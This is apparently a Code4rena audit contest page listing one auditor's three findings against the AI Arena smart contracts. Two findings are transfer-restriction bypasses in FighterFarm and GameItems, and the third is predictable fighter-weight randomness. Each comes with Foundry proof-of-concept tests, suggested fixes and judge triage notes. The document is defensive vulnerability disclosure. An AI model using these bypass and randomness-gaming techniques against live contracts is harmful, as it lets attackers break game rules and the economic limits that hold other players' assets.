Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 269/283
Findings: 3
Award: $0.09
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0522 USDC - $0.05
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L338-L348
Any bad actor can transfer fighters, designed by the protocol as non-transferable. These malicious actions can lead to unexpected consequences, such as a user having more fighters than MAX_FIGHTERS_ALLOWED.
Add this function in the FighterFarm.t.sol
contract and run
forge test --match-test testMYPOCSafeTransferFrom -vvvv
.
function testMYPOCSafeTransferFrom() public { address attacker = makeAddr("attacker"); address receiver = makeAddr("receiver"); _mintFromMergingPool(attacker); assertEq(_fighterFarmContract.ownerOf(0), attacker); vm.expectRevert(); vm.prank(attacker); _fighterFarmContract.safeTransferFrom(attacker, receiver, 0); vm.prank(attacker); _fighterFarmContract.safeTransferFrom(attacker, receiver, 0, "0x"); assertEq(_fighterFarmContract.ownerOf(0), receiver); }
Manual
Consider overriding this function and adding corresponding checks.
Access Control
#0 - c4-pre-sort
2024-02-25T08:27:33Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T08:28:19Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T03:00:03Z
HickupHH3 marked the issue as partial-50
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303
Any bad actor can transfer items, designed by the protocol as non-transferable. These malicious actions can lead to unexpected consequences, such as a bad actor exploiting the loophole, and selling the item outside the boundaries defined by the protocol logic.
Add this function in the GameItems.t.sol
contract and run
forge test --match-test testMyPOCsafeBatchTransferFrom -vvvv
.
function testMyPOCsafeBatchTransferFrom() public { address attacker = makeAddr("attacker"); address receiver = makeAddr("receiver"); _fundUserWith4kNeuronByTreasury(attacker); vm.prank(attacker); _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries assertEq(_gameItemsContract.balanceOf(attacker, 0), 2); _gameItemsContract.adjustTransferability(0, false); (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0); assertEq(transferable, false); vm.prank(attacker); vm.expectRevert(); _gameItemsContract.safeTransferFrom(attacker, receiver, 0, 1, ""); assertEq(_gameItemsContract.balanceOf(receiver, 0), 0); uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory amounts = new uint256[](1); amounts[0] = 1; vm.prank(attacker); _gameItemsContract.safeBatchTransferFrom(attacker, receiver,ids, amounts, ""); assertEq(_gameItemsContract.balanceOf(receiver, 0), 1); assertEq(_gameItemsContract.balanceOf(attacker, 0), 1); }
Manual
Consider overriding the safeBatchTransferFrom
function and adding corresponding checks.
Access Control
#0 - c4-pre-sort
2024-02-25T08:29:28Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T08:29:39Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:55Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:55:40Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L484-L531 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L191-L222
The user can create fighters using the claimFighters
function in the FighterFarm
contract. In order to be able to create a fighter the delegated address must first sign a message which enables the user to claim a specified number of fighters. The message that's being signed is as follows:
bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, numToMint[0], numToMint[1], nftsClaimed[msg.sender][0], nftsClaimed[msg.sender][1] )));
Later, after passing the verification that the message is signed by the delegated address the following function will be called to create a fighter
_createNewFighter( msg.sender, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHashes[i], modelTypes[i], i < numToMint[0] ? 0 : 1, 0, [uint256(100), uint256(100)] );
The interesting line here is the second parameter:
uint256(keccak256(abi.encode(msg.sender, fighters.length)))
which is the dna argument in the _createNewFighter
function. The dna is later used in the _createFighterBase
in the following way:
function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
The interesting variable here is the weight
variable, which defines the strength of the character which directly affects the gameplay and leads to some characters being more powerful than others.
The problem lies in the fact that the dna argument that's being passed to the _createNewFighter
can be controlled to some extent by the attacker. The attacker can control the input in the following way:
Because the fighters is a global storage variable, the attack can wait until the keccak256(abi.encode(msg.sender, fighters.length))
is such a value that when being put into the following equation uint256 weight = dna % 31 + 65;
the result would be the maximum possible value of 95. For this to happen the dna % 31
needs to be equal to 30.
Put the following into the test/randomness_claim.t.sol
file and run the following command:
forge test --match-test testRandomClaimPoc -vv
The output will be the fighters.length that is required to get a weight that's 95 for an address that's generated from the string 'alice'.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console} from "forge-std/Test.sol"; import {Vm} from "forge-std/Vm.sol"; import {FighterFarm} from "../src/FighterFarm.sol"; import {Neuron} from "../src/Neuron.sol"; import {AAMintPass} from "../src/AAMintPass.sol"; import {MergingPool} from "../src/MergingPool.sol"; import {RankedBattle} from "../src/RankedBattle.sol"; import {VoltageManager} from "../src/VoltageManager.sol"; import {GameItems} from "../src/GameItems.sol"; import {AiArenaHelper} from "../src/AiArenaHelper.sol"; // import {Utilities} from "./utils/Utilities.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; /// @notice Unit test for FighterFarm Contract. contract FighterFarmTest is Test { // Utilities internal _utils; // address payable[] internal _users; /*////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint8[][] internal _probabilities; address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0; address internal _ownerAddress; address internal _treasuryAddress; address internal _neuronContributorAddress; /*////////////////////////////////////////////////////////////// CONTRACT INSTANCES //////////////////////////////////////////////////////////////*/ FighterFarm internal _fighterFarmContract; AAMintPass internal _mintPassContract; MergingPool internal _mergingPoolContract; RankedBattle internal _rankedBattleContract; VoltageManager internal _voltageManagerContract; GameItems internal _gameItemsContract; AiArenaHelper internal _helperContract; Neuron internal _neuronContract; function getProb() public { _probabilities.push([25, 25, 13, 13, 9, 9]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 10]); _probabilities.push([25, 25, 13, 13, 9, 23]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 3]); } /*////////////////////////////////////////////////////////////// SETUP //////////////////////////////////////////////////////////////*/ function setUp() public { // _utils = new Utilities(); // _users = _utils.createUsers(5); _ownerAddress = address(this); _treasuryAddress = vm.addr(1); _neuronContributorAddress = vm.addr(2); getProb(); _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract) ); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); } function testRandomClaimPoc() public { address user1 = makeAddr('alice'); uint neededValue; for (uint i=0; i<10000; i++){ if((uint256(keccak256(abi.encode(user1, i))) % 31) > 29) { console.log("Found the needed fighters.length"); console.log(i); neededValue = i; break; } } uint weight = (uint256(keccak256(abi.encode(user1, neededValue))) % 31) + 65; console.log("The weight will be: "); console.log(weight); assertEq(weight, 95); } /// @notice Helper function to mint an fighter nft to an address. function _mintFromMergingPool(address to) internal { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } /// @notice Helper function to fund an account with 4k $NRN tokens. function _fundUserWith4kNeuronByTreasury(address user) internal { vm.prank(_treasuryAddress); _neuronContract.transfer(user, 4_000 * 10 ** 18); assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { // Handle the token transfer here return this.onERC721Received.selector; } }
Manual
Ideally, use chainlink randomness, otherwise, the msgHash can be modified to include some random nonce argument which will be used for dna calculations such as this:
bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, numToMint[0], numToMint[1], nftsClaimed[msg.sender][0], nftsClaimed[msg.sender][1], nonce )));
where nonce is uint256.
Other
#0 - c4-pre-sort
2024-02-24T01:44:53Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:45:03Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:51:01Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-22T04:21:14Z
HickupHH3 marked the issue as duplicate of #376